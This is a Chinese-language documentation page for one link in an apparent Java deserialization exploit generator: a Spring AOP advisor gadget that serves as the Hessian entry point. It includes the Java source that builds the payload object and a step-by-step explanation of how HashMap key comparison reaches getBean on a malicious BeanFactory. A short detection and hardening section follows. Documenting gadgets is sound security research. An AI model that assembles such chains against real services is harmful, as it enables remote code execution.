Skip to content

Latest commit

 

History

History
57 lines (47 loc) · 4.61 KB

File metadata and controls

57 lines (47 loc) · 4.61 KB

Spring相关链(SpringAbstractBeanFactoryPointcutAdvisor)

  • 类别:hessian 别名:— 优先级:20
  • 作者:—
  • 依赖org.springframework:spring-contextorg.springframework:spring-aop

作用

Hessian 反序列化的入口环。构造一个 BeanFactoryCacheOperationSourceAdvisorAbstractBeanFactoryPointcutAdvisor 子类),把内层对象设为它的 beanFactory、把 adviceBeanName 设为下游约定的 bean 名,再用 PayloadHelper.makeMap 制造 HashMap key 碰撞。反序列化时容器比较两个 advisor 触发 getAdvice() → beanFactory.getBean(adviceBeanName),从而拉起内层 Spring BeanFactory 中的恶意 bean。

链接标签

  • 入口 tagsHessianDeserialize —— 承接 Hessian 反序列化入口(本环作为最外层交给 Hessian 反序列化)。
  • 衔接 nextTagsHessianSpringChains —— 之后必须接一个提供恶意 BeanFactory 的 Spring gadget(SpringExec / SpringJndi1 / SpringJndi2)。
  • excludes:无。

源码剖析

public Object getObject(Object obj, String beanName) throws Exception {
    BeanFactoryCacheOperationSourceAdvisor advisor = new BeanFactoryCacheOperationSourceAdvisor();
    advisor.setBeanFactory((BeanFactory)obj);              // 内层对象 = 恶意 BeanFactory
    advisor.setAdviceBeanName(beanName);                   // 要 getBean 的目标 bean 名
    Reflections.setFieldValue(advisor, "pointcut", null);
    Reflections.setFieldValue(advisor, "cacheOperationSource", null);
    return PayloadHelper.makeMap(new BeanFactoryCacheOperationSourceAdvisor(), advisor);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object object = chain.doCreate(context);              // 取内层 BeanFactory
    String beanName = context.getString(ContextTag.BEAN_NAME_KEY);  // 由下游注入 bean 名
    return this.getObject(object, beanName);
}

逐段解释:

  • invokechain.doCreate(context) 得到下游 gadget 产出的恶意 BeanFactoryStaticListableBeanFactorySimpleJndiBeanFactory),并从 context 读取 BEAN_NAME_KEY——这个 bean 名由下游(SpringExec"beanName123"SpringJndi1 直接用 jndiUrl)通过 context 约定。
  • getObject 构造 BeanFactoryCacheOperationSourceAdvisorsetBeanFactory(内层对象) 把恶意工厂挂上,setAdviceBeanName(beanName) 指定稍后要 getBean 的名字。把 pointcutcacheOperationSourcenull 是为了避免反序列化/比较过程中走进这些字段抛异常,保证执行流顺畅到达 getAdvice()
  • 关键触发在 PayloadHelper.makeMap(a, b):它把两个 advisor 放进会发生 hash/equals 比较的 HashMap 结构。Hessian 反序列化重建该 Map 时会比较 key,AbstractBeanFactoryPointcutAdvisor.equals() 内部调用 getAdvice(),后者执行 this.beanFactory.getBean(this.adviceBeanName)——即在攻击者提供的 BeanFactory 上按名取 bean,把控制权交给下游 sink。
  • 因此本环只负责「Hessian 入口 → 在恶意 BeanFactory 上 getBean」,真正的命令执行/JNDI 由下游 BeanFactory.getBean 的副作用完成。

参数(@Param)

本类无 @ParamadviceBeanName 由链上下文 BEAN_NAME_KEY 注入。

适用版本与原理要点

  • 需要 spring-context + spring-aopAbstractBeanFactoryPointcutAdvisorBeanFactoryCacheOperationSourceAdvisor 来自 aop/cache 模块)。
  • 依赖 Hessian「按字段反序列化 + 重建 Map 时比较 key」的特性触发 equals→getAdvice→getBean;这是 Spring 系 Hessian 链的经典入口。
  • SpringPartiallyComparableAdvisorHolder 属同一类入口(不同触发外壳),两者都用于把执行引向 BeanFactory.getBean

所属预设链

关联

防御与检测

  • 类指纹:Hessian 流量中出现 BeanFactoryCacheOperationSourceAdvisor + StaticListableBeanFactory/SimpleJndiBeanFactory 组合即高危。
  • 加固:Hessian 反序列化启用类白名单,禁止 Spring aop/jndi 相关工厂类反序列化。